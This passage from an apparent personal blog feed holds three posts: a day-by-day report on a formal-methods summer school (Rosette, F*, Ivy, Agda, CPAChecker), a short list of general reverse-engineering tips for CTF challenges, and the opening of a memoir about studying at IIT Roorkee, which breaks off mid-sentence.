placed on the paradigm of &amp;quot;Verify, Debug, Solve, Synthesize&amp;quot;, which
are implemented in Rosette as powerful user-friendly constructs. Since
Rosette is built on top of Racket, we get all the benefits of Racket
(and thus, all the LISP goodness), which leads to a very elegant way
to program using solvers. The four parts of the paradigm can be
thought of as the following queries that any user might want to ask a
language: (1) Verify: &amp;quot;find me an input on which the program fails, or
prove that it cannot fail&amp;quot;, (2) Debug: &amp;quot;localize the bad parts of the
program&amp;quot;, (3) Solve: &amp;quot;Find values that repair this failing run&amp;quot;, and
(4) Synthesize: &amp;quot;Find code that repairs the program&amp;quot;.&lt;/p&gt;

&lt;p&gt;The next talk was by &lt;a href=&quot;https://www.microsoft.com/en-us/research/people/nswamy/&quot;&gt;Nikhil
Swamy&lt;/a&gt;, about
&lt;a href=&quot;https://fstar-lang.org/&quot;&gt;F*&lt;/a&gt;. It explained how there is a gap
between interactive proof assistants (such as Coq) and semi-automated
verifiers of imperative programs (such as Dafny), and that F* was
about bridging that gap. F* has an ML-like syntax, and has dependent
typing. What this means is that verification is done via the process
of type checking. The rest of the lecture continued with examples
showing (simple) proofs written in F*, for functional programs, as
well as a discussion on how we can write proofs for effectful code,
using Monadic effects, and by modeling the heap. Personally, despite
having worked with F* for almost a year now, I still gained some new
insights, such as the fact that subtyping being possible due to the
core feature of refinements being proof irrelevant after finishing the
proof.&lt;/p&gt;

&lt;p&gt;Next up, after lunch, was a talk by the unforgettably energetic &lt;a href=&quot;http://www.math.tau.ac.il/%7Emsagiv/&quot;&gt;Mooly
Sagiv&lt;/a&gt;, titled &amp;quot;Modularity for
decidability of deductive verification with applications to
distributed systems&amp;quot;. It took us through the motivation of why
decidability was crucial for verification, and that despite seemingly
restrictive (since the logic then becomes less expressive), we are
able to talk about and prove whatever interesting properties that are
needed, at least in the case of distributed systems. Specifically,
this decidable deductive verification was demonstrated using
&lt;a href=&quot;http://microsoft.github.io/ivy/&quot;&gt;Ivy&lt;/a&gt;. The basic idea behind this is
that when a verifier goes into the &amp;quot;Unknown&amp;quot; state (i.e., it is
divergent; aka &amp;quot;I can&amp;#39;t decide&amp;quot;), this gives very little (if any)
information back to the person working with the verifier, since the
property being verified might either be true, or might have a
counter-model (read: counter-example), but no further information is
known. Instead however, if we were to restrict ourselves to a logic
that is always decidable, then we are guaranteed never to reach the
&amp;quot;unknown&amp;quot; case. The talk then went on to some examples of verification
in this decidable world (and how to represent some things that are
&amp;quot;not expressible&amp;quot;, but turn out to be expressible when you look at
them from a different perspective). What was &lt;em&gt;really&lt;/em&gt; interesting was
how many fewer lines of proof were required per line of code in Ivy,
in comparison with other tools. More details about how it is able to
do so, would be in the following lecture.&lt;/p&gt;

&lt;p&gt;After a short break, we had the lab sessions, where we split off into
2 groups (using a great way to introduce randomness btw: if the first
letters of both your first and last name lie in the same half of the
alphabet, then you belong to group A, else group B). All the groups
had all the lab sessions, just in a different order; since I was in
Group A, my order shall be based off of that.&lt;/p&gt;

&lt;p&gt;Our first lab session was by Emina Torlak, where we got to dive into
working with Rosette. As a warmup, we worked on finding and fixing a
bug in a tiny BitVector example. As a larger example, we worked on
Sudoku. Starting only with a checker (i.e., a program that, given a
Sudoku solution, results in a &amp;quot;yes it is a valid solution&amp;quot; or &amp;quot;no it
is not&amp;quot;), we turned it into a Sudoku solver (find a solution, given a
puzzle), a validity checker (checks if a Sudoku puzzle has exactly 1
solution), and minimal puzzle generator (a puzzle that has the least
number of constraints needed to be valid). What was extremely
interesting was how easy it was to build each of these using just the
checker. Rather than gain domain knowledge about how to write solvers,
generators etc., we simply piggy-backed on the already implemented
checker, and with only a single-digit number of lines of code, were
able to implement all of this! Unfortunately, I do not know of a
public link where this tutorial is available, but it is a &lt;em&gt;very&lt;/em&gt; well
designed and thought out tutorial that I&amp;#39;d recommend people try if
they can find it.&lt;/p&gt;

&lt;p&gt;Next up was the lab session by Mooly Sagiv, about Ivy. Here, he gave a
live demonstration of using Ivy to verify a protocol for mutual
exclusion. In contrast with previous experiences with verification,
this was a welcome change, where the tool itself gives you a graphical
counter-example, when it is unable to prove that a certain invariant
holds. While it still falls upon the user of the tool to provide
stronger invariants that can be proven via the induction, being able
to see these counter examples instead of simply a &amp;quot;timed-out&amp;quot; as is
more likely in other tools, is definitely a game changer&lt;/p&gt;

&lt;p&gt;The next day (Tuesday), we started off with a talk by &lt;a href=&quot;http://www.cse.chalmers.se/%7Eabela/index.html&quot;&gt;Andreas
Abel&lt;/a&gt;, about
&lt;a href=&quot;http://wiki.portal.chalmers.se/agda/pmwiki.php&quot;&gt;Agda&lt;/a&gt;- the
dependently typed functional programming language which is a proof
assistant. The material for what was covered can be found
&lt;a href=&quot;http://www.cse.chalmers.se/%7Eabela/ssft18/index.html&quot;&gt;here&lt;/a&gt;. The talk
had a strong &amp;quot;do this live&amp;quot; approach, where Andreas was explaining
things as he continued working on Agda code, proving things. We also
went over an elegant representation and ordering invariant for binary
search trees in Agda. This was based off of Conor McBride&amp;#39;s paper
&lt;a href=&quot;https://dl.acm.org/citation.cfm?doid=2628136.2628163&quot;&gt;&amp;quot;How to keep your neighbours in
order&amp;quot;&lt;/a&gt;. Personally,
I found that Agda had a &lt;em&gt;very&lt;/em&gt; elegant interface which made it more
natural to think about proofs, and this made understanding the proofs
themselves a &lt;em&gt;lot&lt;/em&gt; easier.&lt;/p&gt;

&lt;p&gt;The next talk was by Emina Torlak. Yes, almost every speaker gave 2
talks and had 2 lab sessions. This time, the talk was about how to
build a solver aided language. The classic (read: &lt;em&gt;hard&lt;/em&gt;) way to build
such a tool is to build a symbolic compiler, which requires an
expertise in Programming Languages, Formal Methods, and Software
Engineering. A much easier method would be to build an interpreter for
the language, and have something that uses this to build all our tools
for us. This kind of tool is a significant technical challenge and is
what Rosette solves for us. We can simply have a (deep or shallow) DSL
hosted in Rosette (where, since Rosette is built on top of Racket,
this becomes very easy), and then we can easily build the 4 tools-
verify, debug, solve, and synthesize, very easily. The talk then went
into details about how this massive technical hurdle is overcome
(since neither symbolic execution, nor bounded model checking, are up
to the exact requirements of this task of precise symbolic
encodings). It is done via type-driven state-merging. This was
followed by 3 different use-cases (out of many many others) where
Rosette has been used to get some very interesting results.&lt;/p&gt;

&lt;p&gt;The last talk before the break before the labs, was by &lt;a href=&quot;https://jonathan.protzenko.fr/&quot;&gt;Jonathan
Protzenko&lt;/a&gt;, titled &amp;quot;Verified low-level
programming embedded in F*&amp;quot;. Specifically, the talk was about a
low-level subset of F*, named Low*, which allows one to write and
reason about low-level C code. The talk goes into detail about how
different parts of C are modeled in Low*, as well as talks about the
kreMLin compiler, which compiles Low* code to readable C. Since
proof-erasure is a part of this process of compiling down to C
(because C has no notion of proofs by itself), we only need to use the
low-level subset in the actual computation bits, and can use the full
power of F* in the proofs. There is a tutorial for Low* available
&lt;a href=&quot;https://fstarlang.github.io/lowstar/html/&quot;&gt;online&lt;/a&gt; (currently a
work-in-progress).&lt;/p&gt;

&lt;p&gt;The first of the labs on the same day was part 2 of Emina Torlak&amp;#39;s
lab. In this, we worked on actually building DSLs- first a shallowly
embedded DSL, followed by a deep embedded DSL, for a circuit-based
programming language. An important thing to note here is that shallow
DSLs are faster and easier to implement, and are almost always the
right choice for either the &amp;quot;verify&amp;quot; or the &amp;quot;debug&amp;quot;
operations. However, if we want any sort of &amp;quot;synthesize&amp;quot; operation,
then shallow DSLs fall short extremely quickly, and deep embeddings
work out &lt;em&gt;much&lt;/em&gt; better.&lt;/p&gt;

&lt;p&gt;The second lab on Tuesday was part 1 of the F*/Low* Lab, conducted
by Nikhil Swamy. Here, we went across some select examples from the
&lt;a href=&quot;https://www.fstar-lang.org/tutorial/&quot;&gt;F* Tutorial&lt;/a&gt;. Special emphasis
was placed on how one comes up with these proofs, and how F* is able
to infer most of the proof, requiring only a &amp;quot;here&amp;#39;s the form of the
induction&amp;quot; argument. One interesting point that came up during this
discussion was the possibility for F* to automatically &amp;quot;guess&amp;quot; the
form of the induction. This seems quite doable in a large number of
cases, and is something that is worth considering, though F* doesn&amp;#39;t
support this at the moment, and one needs to explicitly point out
things like &amp;quot;do an induction on this list&amp;quot; (and the rest of the proof
is automatic). The tutorial is well written and thought out in a way
to be self-contained, while not repeating concepts that might be known
to an OCaml / F# developer. There are some nice motivating
examples/stories in the tutorial online too. I would definitely
recommend the interested reader to try these out (though some people
might need to take a crash course on OCaml / SML / F# syntax, if they
aren&amp;#39;t used to it).&lt;/p&gt;

&lt;p&gt;With this, Tuesday came to a close, and we started Wednesday with a
talk by &lt;a href=&quot;https://www.sosy-lab.org/people/beyer/&quot;&gt;Dirk Beyer&lt;/a&gt;, about
&lt;a href=&quot;https://cpachecker.sosy-lab.org/index.php&quot;&gt;CPAChecker&lt;/a&gt;. The
&lt;a href=&quot;https://www.sosy-lab.org/Teaching/2018-SummerSchool-SSFT18/&quot;&gt;talk&lt;/a&gt;,
titled &amp;quot;Configurable Software Model Checking - A Unifying View&amp;quot; was
about how one can unify different techniques, ideas, and algorithms in
program analysis and verification, into a single framework, that also
allows for the creation of &amp;quot;intermediate&amp;quot; algorithms. This ability to
configure allows one to move all the way between imprecise but
scalable Data-flow analysis, all the way to the precise but expensive
Model Checking, by better combination of abstractions. Via Dynamic
Precision Adjustment, one gets a better fine tuning of abstractions
and gets adjustable precision, thereby allowing a similar movement
between precise/expensive and imprecise/scalable. By using an
adjustable block encoding, one can change how many statements are
handled together all at once. The rest of the talk revolved around
CPAChecker&amp;#39;s features, concepts, ideas, algorithms, as well as
architecture. We&amp;#39;d get to play around with it in the lab soon! Oh, and
btw, CPAChecker has regularly been doing well in the
&lt;a href=&quot;https://sv-comp.sosy-lab.org/2018/results/results-verified/&quot;&gt;SV-COMP&lt;/a&gt;
Competition on Software Verification, coming in with Gold in 2018!&lt;/p&gt;

&lt;p&gt;Next up, part 2 of Andreas Abel&amp;#39;s talk. He continued with the &amp;quot;doing
it live&amp;quot; approach, but this time, we were looking at examples from
programming languages, like representation of expressions, evaluation,
and equational reasoning. Again, the files can be found
&lt;a href=&quot;http://www.cse.chalmers.se/%7Eabela/ssft18/&quot;&gt;here&lt;/a&gt;. In my opinion,
understanding these things well definitely involves following along,
proving these things in Agda, so I would 100% recommend interested
readers take a look at the
&lt;a href=&quot;http://www.cse.chalmers.se/%7Eabela/ssft18/lec2/Lec2.zip&quot;&gt;Lec2.zip&lt;/a&gt;
file on the website, and try proving stuff. The comments in these
files are &lt;em&gt;really&lt;/em&gt; helpful, especially if you&amp;#39;ve already gone over the
files from Lecture 1. I have to specially point out how amazing it is
that time was put in to make sure these examples were extremely well
documented, and is thus easy enough for a beginner to follow
along. Being at the talk though helped a lot too, and probably saved a
bunch of time for many of us in understanding these ideas.&lt;/p&gt;

&lt;p&gt;And then right after lunch, part 2 of Mooly Sagiv&amp;#39;s talk. This time,
the talk was much more about the technical details of Ivy and its 3
most important principles: (1) What 1&lt;sup&gt;st&lt;/sup&gt; order structures
would exist in the language -- abstract states and imperative
updates. This gives us a &amp;quot;step towards decidability&amp;quot;. (2) Theories as
add-ons. When the user axiomatizes domain knowledge in EPR (which is
what gives the decidability), soundness is checked, and we get
reusable domain knowledge with predictable automation. (3) Modularity
for breaking quantifier alternation cycles. It falls upon the user to
break these cycles, and Ivy will only point out that there are cycles,
instead of trying to break them by itself. One very interesting idea
that falls out of this is how sometimes it becomes useful to perform
the abstraction of functions as relations instead.&lt;/p&gt;

&lt;p&gt;As for the labs for Wednesday, we started off with the first of the
Agda labs, by Andreas Abel. In this lab, we worked on some simple
definitions and proofs in Agda. I&amp;#39;d strongly recommend going over the
&lt;a href=&quot;http://www.cse.chalmers.se/%7Eabela/ssft18/lec1/Exercises1.agda&quot;&gt;exercises&lt;/a&gt;
which are quite self-contained, and have some interesting bits that
one might get stuck upon before realizing where to go next.&lt;/p&gt;

&lt;p&gt;The next lab was the first of the CPAChecker labs, by Dirk
Beyer. Here, we followed along parts of the &lt;a href=&quot;https://masp.gitlab.io/CPAcheckerTutorial/&quot;&gt;CPAChecker
Tutorial&lt;/a&gt;, which is also
very self-contained. It contains a bunch of nicely chosen examples
which help in identifying different features of CPAChecker, and has a
nice progression to it.&lt;/p&gt;

&lt;p&gt;And with that, Wednesday draws to an end. By now, we&amp;#39;ve all had a lot
of interesting ideas, works, thoughts, anecdotes, stories, and
concepts explained to us- and while for some, it might have seemed
like an overwhelming amount, to most of us (or at least to me), this
was a treasure trove of knowledge in a short, condensed, concentrated
form. Personally, I was having an amazing time here. I must also bring
up the fact that the rest of the students at the summer school were
also a major factor in this, since everyone was brimming with ideas,
and worked on such varying topics, that no matter who you were talking
to, there was always something amazing to learn.&lt;/p&gt;

&lt;p&gt;Anyways, back to the talks- we are now on Thursday. We start the day
with a talk titled &amp;quot;Verifying Properties of Binarized Deep Neural
Networks&amp;quot;, by &lt;a href=&quot;http://narodytska.com/&quot;&gt;Nina Narodytska&lt;/a&gt;. With Machine
Learning (and more specifically, Deep Neural Networks) becoming the
rage and the norm for a lot of industries, it becomes essential to
actually try to understand properties about them, especially about
robustness to perturbation. In this talk, a specific class of neural
networks is taken and is studied via an encoding to Boolean
Satisfiability (i.e. SAT). Once it is encoded at a SAT problem, one
can then leverage the full-power of research done in making better SAT
solvers, to be able to scalably verify properties of these binarized
deep neural networks. An arXiv pre-print of the work can be found
&lt;a href=&quot;https://arxiv.org/pdf/1709.06662.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Next up was the second talk by Dirk Beyer, which was split into 4
parts (again, the material can be found
&lt;a href=&quot;https://www.sosy-lab.org/Teaching/2018-SummerSchool-SSFT18/&quot;&gt;here&lt;/a&gt;). One
of the parts was about how one might combine different verifiers
etc. Currently, we have a lot of verifiers, due to competitions such
as SV-COMP, but it would be great to be able to leverage the strengths
of one to help the other. This is where conditional model checking
comes in. A really elegant &amp;quot;reducer&amp;quot; based construction was shown,
which allows one to basically &amp;quot;import&amp;quot; any verifier and make it use
the results of a previous conditional verifier. Another part was
regarding verification with witnesses, which was about witness
validation, as well as stepwise refinement of witnesses. This is
another case where multiple verifiers could work in conjunction to
either aid each other, or to provide higher assurance in each other&amp;#39;s
results. Another idea was about execution based validation of
witnesses- this one is especially important when talking to people
outside of the verification community, since they respond best to
&amp;quot;here&amp;#39;s a test case that breaks the software&amp;quot; rather than &amp;quot;here&amp;#39;s a
set of paths which might lead to a break in the software&amp;quot;.&lt;/p&gt;

&lt;p&gt;Finally, the last of the talks of the day was by &lt;a href=&quot;https://en.wikipedia.org/wiki/Gordon_Plotkin&quot;&gt;Gordon
Plotkin&lt;/a&gt;. This talk,
titled &amp;quot;Some Principles of Differentiable Programming Languages&amp;quot; was
an absolute beauty! In this talk, he walked us through what
Differentiable Programming Languages are, and why they are necessary
(as well as difficult). He then went on to explain some previous
foundational work that might have been useful, if it weren&amp;#39;t for those
pesky partial functions. Following along, he went along his thought
process in how he worked on designing the right language which has
differentiation as a fundamental operation in it (despite having
conditionals and looping). Personally, I found it extremely
fascinating to see the thought process of reaching such an elegant
language in the end. It starts off extremely messy, and keeps getting
messier until suddenly, beauty emerges at the end. There are a whole
bunch of notes that I wrote down during this talk, but I believe
nothing can do justice to summarizing this talk. It was filled with
lots of interesting side-notes, and anecdotes, and ideas that
themselves could be talks of their own.&lt;/p&gt;

&lt;p&gt;Back to the labs: we started Thursday&amp;#39;s lab session with part 2 of the
Ivy lab, by Mooly Sagiv. At this time, we got to actually play around
with and truly understand the though process behind coming up with
inductive invariants while proving things in Ivy. We specifically took
up the example of leader election in a ring, and tried to prove that
at the end of the protocol, exactly one leader would be elected. Due
to Ivy&amp;#39;s fast turn-around time to respond to the written invariants,
as well as its relatively easy to understand graphical representation
of counter examples, it became much more about identifying stronger
and stronger properties that might help us in proving the property we
want, rather than fighting with the prover, which seems to happen in a
lot of automated proof systems. At the end of finding the proof, we
also end up having a very nice birds eye view of the proof, since
we&amp;#39;ve written these nice inductive invariants, by the time we are
done.&lt;/p&gt;

&lt;p&gt;Next lab for the day: part 2 of the F*/Low* Lab, conducted by
Jonathan Protzenko. Here, we were proving correctness and some
properties of some short examples about working with machine integers,
references, and buffers. The
&lt;a href=&quot;https://fstarlang.github.io/courses/fstar-sri-2018/LabSession.fst&quot;&gt;code&lt;/a&gt;
which we were working on, is heavily commented, and is extremely easy
to follow along after the F* tutorial. I personally would recommend
doing it, to quickly get a handle on the basics of Low*. These
examples however, should soon become a part of the (currently work in
progress) &lt;a href=&quot;https://fstarlang.github.io/lowstar/html/&quot;&gt;Low* Tutorial&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Next up, the Banquet. Everyone had an awesome time at this. And here&amp;#39;s
a picture of almost everyone who was there (looks like some people are
missing from the photo, probably because the photo was taken very
close to end of day):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/images/ssft2.jpg&quot; alt=&quot;&quot;&gt;
&lt;div class=&quot;caption&quot;&gt;At the Banquet&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;Finally, we arrive to the last day of the summer school (did a whole
week go by so fast?!). We start off the day with 2 lab sessions (yep,
labs instead of talks at the start of the day).&lt;/p&gt;

&lt;p&gt;The first was part 2 of the CPAChecker lab, by Dirk Beyer. Here, we
continued with the
&lt;a href=&quot;https://masp.gitlab.io/CPAcheckerTutorial/&quot;&gt;tutorial&lt;/a&gt;, but this time
instead, we concentrated on the parts about combining verifiers, and
about witness generation/checking. Personally, I found the reducer
generating (arguably) readable code, which was interesting (and
unexpected). Overall though, this lab helped cement the ideas that
were discussed in the second talk by Dirk.&lt;/p&gt;

&lt;p&gt;The second was part 2 of the Agda lab, by Andreas Abel. This time, we
looked over more definitions and proofs in Agda (see
&lt;a href=&quot;http://www.cse.chalmers.se/%7Eabela/ssft18/lec2/Exercises2.agda&quot;&gt;Exercises2.agda&lt;/a&gt;). In
the course of this, we also ended up learning about various proof
styles that are possible in Agda, especially when talking about
auxiliary &amp;quot;helper&amp;quot; lemmas. Proving decidability of various things was
a nice exercise and is something I&amp;#39;d definitely recommend trying.&lt;/p&gt;

&lt;p&gt;As a fitting end to the summer school, was a talk by &lt;a href=&quot;https://ptolemy.berkeley.edu/%7Eeal/&quot;&gt;Edward
A. Lee&lt;/a&gt; titled &amp;quot;What Good are
Formal Methods?&amp;quot;. Based loosely around his book, titled &lt;a href=&quot;https://mitpress.mit.edu/books/plato-and-nerd&quot;&gt;&amp;quot;Plato and
the Nerd&amp;quot;&lt;/a&gt;, he walked
us through the nuances of how combining different deterministic
systems can lead to non-determinism, and how moving between the
viewpoints of a scientist and an engineer is essential in looking at
the right way at models. Everything we say about, and prove about
systems, is always actually about a model of the system, and depending
on the viewpoint, either the model is flawed (scientist), or the
system/realization is flawed (engineer). He then goes on to talk about
non-falsifiable theories, with the &amp;quot;Digital Physics&amp;quot; hypothesis taken
as a prime example. another interesting direction was about the
Incompleteness of Determinism, which he shows via the concept of
&amp;quot;Superdense Time&amp;quot;. This talk was definitely an amazing journey through
a lot of different ideas and concepts from a variety of different
fields, that we do not even think about on a regular basis. I am
definitely going to read the book, because if it is anything like the
talk, it should definitely be a joy to read!&lt;/p&gt;

&lt;p&gt;And finally, we come to the end of this brilliant, beautiful and
amazing week. I got a chance to meet such awesome people, discuss
mind-shattering ideas, talk about random topics in great depth, and
make some great new friends and acquaintances. I hope to stay in touch
with as many of you as I can, and hope to meet again sometime really
soon!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Misc RE Tips</title>
   <link href="https://www.jaybosamiya.com/blog/2017/08/12/misc-re-tips/"/>
   <updated>2017-08-12T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/08/12/misc-re-tips</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Influenced by Gynvael&amp;#39;s CONFidence CTF 2017 Livestreams &lt;a href=&quot;https://www.youtube.com/watch?v=kZtHy9GqQ8o&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=W7s5CWaw6I4&quot;&gt;here&lt;/a&gt;; and by his Google CTF Quals 2017 Livestream &lt;a href=&quot;https://www.youtube.com/watch?v=KvyBn4Btv8E&quot;&gt;here&lt;/a&gt; &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Reverse engineering is a mix of an art as well as a science. Over
time, one tends to gather a repertoire of common &amp;quot;tips and tricks&amp;quot;
that one might use when reversing any given piece of software. What
follows are a condensed form of some tricks gained from Gynvael&amp;#39;s
livestreams.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Sometimes, a challenge might implement a complicated task by
implementing a VM. It is not always necessary to completely reverse
engineer the VM and work on solving the challenge. Sometimes, you can
RE a little bit, and once you know what is going on, you can hook into
the VM, and get access to stuff that you need. Additionally, timing
based side-channel attacks become easier in VMs (mainly due to more
number of &lt;em&gt;&amp;quot;real&amp;quot;&lt;/em&gt; instructions executed).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cryptographically interesting functions in binaries can be recognized
and quickly RE&amp;#39;d simply by looking for the constants and searching for
them online. For standard crypto functions, these constants are
sufficient to quickly guess at a function. Simpler crypto functions
can be recognized even more easily. If you see a lot of XORs and stuff
like that happening, and no easily identifiable constants, it is
probably hand-rolled crypto (and also possibly broken).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sometimes, when using IDA with HexRays, the disassembly view might be
better than the decompilation view. This is especially true if you
notice that there seems to be a lot of complication going on in the
decompilation view, but you notice repetitive patterns in the
disassembly view. (You can quickly switch b/w the two using the space
bar). For example, if there is a (fixed size) big-integer library
implemented, then the decompilation view is terrible, but the
disassembly view is easy to understand stuff (and easily recognizable
due to the repetitive &amp;quot;with-carry&amp;quot; instructions such as
&lt;code&gt;adc&lt;/code&gt;). Additionally, when analyzing like this, using the &amp;quot;Group
Nodes&amp;quot; feature in IDA&amp;#39;s graph view is extremely useful to quickly
reduce the complexity of your graph, as you understand what each node
does.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;For weird architectures, having a good emulator is extremely
useful. Especially, an emulator that can give you a dump of the memory
can be used to quickly figure out what is going on, and recognize
interesting portions, once you have the memory out of the
emulator. Additionally, using an emulator implemented in a comfortable
language (such as Python), means that you could run things exactly how
you like. For example, if there is some interesting part of the code
you might wish to run multiple times (for example, to brute force or
something), then using the emulator, you can quickly code up something
that does only that part of the code, rather than having to run the
complete program.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Being lazy is good, when REing. Do NOT waste time reverse engineering
everything, but spend enough time doing recon (even in an RE
challenge!), so as to be able to reduce the time spent on actually
doing the more difficult task of REing. What recon, in such a
situation means, is to just take quick looks at different functions,
without spending too much time on analyzing each function
thoroughly. You just quickly gauge what the function might be about
(for example &amp;quot;looks like a crypto thing&amp;quot;, or &amp;quot;looks like a memory
management thing&amp;quot;, etc.)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;For unknown hardware or architecture, spend enough time looking it up
on Google, you might get lucky with a bunch of useful tools or
documents that might help you build tools quicker. Often times, you&amp;#39;ll
find toy emulator etc implementations that might be useful as a quick
point to start off from. Alternatively, you might get some interesting
info (such as how bitmaps are stored, or how strings are stored, or
something) with which you can write a quick &amp;quot;fix&amp;quot; script, and then use
normal tools to see if interesting stuff is there.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Gimp (the image manipulation tool), has a very cool open/load
functionality to see raw pixel data. You can use this to quickly look
for assets or repetitive structures in raw binary data. Do spend time
messing around with the settings to see if more info can be gleaned
from it.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>A Story to Tell : My Experience at IIT Roorkee</title>
   <link href="https://www.jaybosamiya.com/blog/2017/07/04/a-story-to-tell/"/>
   <updated>2017-07-04T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/07/04/a-story-to-tell</id>
   <content type="html">&lt;p&gt;&lt;font size=1&gt; [This was &lt;a href=&quot;https://web.archive.org/web/20170702173537/https://expectationsiitr.com/experiences.html&quot;&gt;originally published&lt;/a&gt; on &lt;a href=&quot;https://expectationsiitr.com/&quot;&gt;Expectations IITR&lt;/a&gt;, run by &lt;a href=&quot;https://geekgazette.org/&quot;&gt;Geek Gazette&lt;/a&gt;, just after completing my B.Tech. at IIT Roorkee]&lt;/font&gt; &lt;img src=&quot;/public/images/a-story-to-tell.jpg&quot; alt=&quot;&quot;&gt; &lt;div class='caption'&gt;My desk is definitely not this organized&lt;/div&gt; &lt;/p&gt;
&lt;p&gt;Truly, time flies extremely fast when you are enjoying
yourself. These 4 years have been amongst the most memorable ones in
my life till date, and have helped me grow as an individual in
countless ways. First year was the first time I was staying away from
home, for an extended period of time. To make things more challenging,
I was at the same school for the previous 12 years! To come to a new
place, and not a single familiar face to be found on campus, I
definitely was anxious before arriving on campus. But my fears were
unfounded, and I quickly found out, that in a campus with thousands of
people, there are bound to be those who think alike, and we tend to
find each other as time passes.&lt;/p&gt;

&lt;p&gt;Amongst my neighbours and branch-mates, I found friends whom I could
go for trips and treks with. And since I had a massive collection of
movies and TV shows that I&amp;#39;d brought from home on my laptop, frequent
marathons were bound to happen. At the time, RJB didn&amp;#39;t have a good
internet connection (NoLAN, as we liked to call it), and so we ended
up purchasing an Ethernet switch, and long LAN cables, so that we
could all play Counter Strike. Even then, it was often more fun to
just move chairs into a single room, and continuously curse while
shooting in either &lt;code&gt;de_dust2&lt;/code&gt; or &lt;code&gt;$1000$&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Soon enough after joining IITR, different campus groups started their
recruitment sessions. After asking around, doing some reading, and
understanding what the different groups do, I decided to apply to only
two -- Geek Gazette and SDS PAG. GG was a place for the geeks of the
campus to unite, and try to change the world, one bit at a time. As I
had tried writing short stories in the past, I applied as an editor to
the magazine. It was during the interviews that I realised, that I had
found my kind -- people who are extremely (almost obsessively)
passionate about gaining knowledge about the things they love, and
like to share those things with the world. Over time though, for me,
it grew into a family where I could implicitly trust everyone in
it. Other than GG, I applied and got selected into SDS PAG, which
seemed like an obvious choice for me, since I had already been doing
competitive programming since class 11 (Informatics Olympiads
etc). Here was a place I found people like me, who lived on the
&amp;quot;adrenaline rush&amp;quot; of solving puzzles and challenges through the use of
logic, algorithms, and code.&lt;/p&gt;

&lt;p&gt;Academics, of course, went on, alongside all these amazing things, but
overall, I didn&amp;#39;t find it too much of a burden. As long as I stayed
awake in class, I was able to manage great grades without needing to
spend too much extra effort outside of class. And the great thing was,
we only had ~25 contact hours a week, which meant that I could do a
lot more than just merely academics. Hence, apart from all that I was
doing, I decided to take a shot at open-source development. One of my
seniors had said &amp;quot;doing a Google Summer of Code in first year is
impossible&amp;quot;, and I just couldn&amp;#39;t accept this as true. After a few
months of intense work, I got selected into, and that is how I spent
most of my summer after 1st year (and the first couple of months of
2nd year) -- working on the open-source network security scanner,
Nmap. It was an amazing experience, and I got to work with some of the
most amazing developers and security enthusiasts. Even though it was
not required, it was so much fun that I was spending over 70 hours a
week!&lt;/p&gt;

&lt;p&gt;In a few months though, once the GSoC period was complete, I realised
how tiring pure development could be. Additionally, 2nd year had
begun, and with it, came a whole bunch of new hobbies. This is when I
first heard of CTFs -- a Capture The Flag contests, where many
challenges are given to hack into, legally. This seemed like awesome
fun, and with a few friends, I decided to try it out. Little did I
know, at the time, how important this would turn out to be. Soon
enough, we were starting to get relatively decent at this &amp;quot;new&amp;quot; field,
and we started taking part in national level competitions -- our
first, being Deloitte CCTC, where we went and won! The thrill of
breaking into software was something my teammates and I got addicted
to, and over time, it decided the fate of our careers. However, at the
time, it was merely a hobby.&lt;/p&gt;

&lt;p&gt;As a serious career prospect, I was considering research in Computer
Science, but was unsure of the sub-field. One of the professor&amp;#39;s
course was really fun, and I decided to ask him for some research
project work. Prof Bala suggested that I work with him, and Prof
Partha (who had newly joined the department), on a topic in Image
Processing and Computer Vision -- Scene Text Segmentation. This led me
on a long journey of actually learning what research entails -- lots
and lots of failed attempts, and that one final satisfying&amp;quot;Aha!&amp;quot;
moment. It was great, and for the 2nd year summer, I decided to apply
for foreign university internships in the field. Maybe it was bad
timing, or maybe I needed to learn more, or maybe... -- whatever the
reason -- I was met with mainly unanswered emails, and the occasional
rejection. I took these rejections, at the time, as a way to have some
extra focus on the project at hand. Over the course of the summer,
with more improvements, I was able to obtain publishable results, and
decided to write a research paper about it. It was accepted at the
Asian Conference on Pattern Recognition, and I ended up travelling to
Malaysia in the 3rd year to present it. That trip was amazing, and I
still tend to use one of the photos clicked there as a profile picture
on some websites.&lt;/p&gt;

&lt;p&gt;As part of enjoying life though, I think my friends and I had matured
by then, and had started going for longer treks, and started playing
&amp;quot;serious&amp;quot; games such as AoE2. Of course, a trebuchet is the weapon of
choice to lay a siege with, since it utilises a counterweight to
launch a 90kg projectile over 300m! Obviously, it is superior to the
measly catapult, but I digress.&lt;/p&gt;

&lt;p&gt;By the time 3rd year rolled around, I was made the president of GG,
and with that, came a whole slew of new experiences and
responsibilities. I was able to lead an amazing team, with great
friends by my side. Frankly, it was something I thoroughly enjoyed. It
did take up basically all the time I had available, but I still
managed to get a lot of other things done too. One of these, was to
start up a new group on campus for security enthusiasts like me. This
was the birth of SDS InfoSecIITR -- a group conducive to hackers, with
the purpose of pushing IITR&amp;#39;s security culture to new heights, mainly
through conducting and taking part in CTFs.&lt;/p&gt;

&lt;p&gt;While InfoSecIITR was still in its infancy, we were still trying to
figure out what might be the best way forward. However, with the
experience of leading GG, I had realised that we need to strike the
right balance between planning and action, in order to get optimal
results. Too much planning and it is a waste of time, and it is the
same for unplanned action. With this in mind, we began to come up with
a rudimentary plan of action with only a small number of members
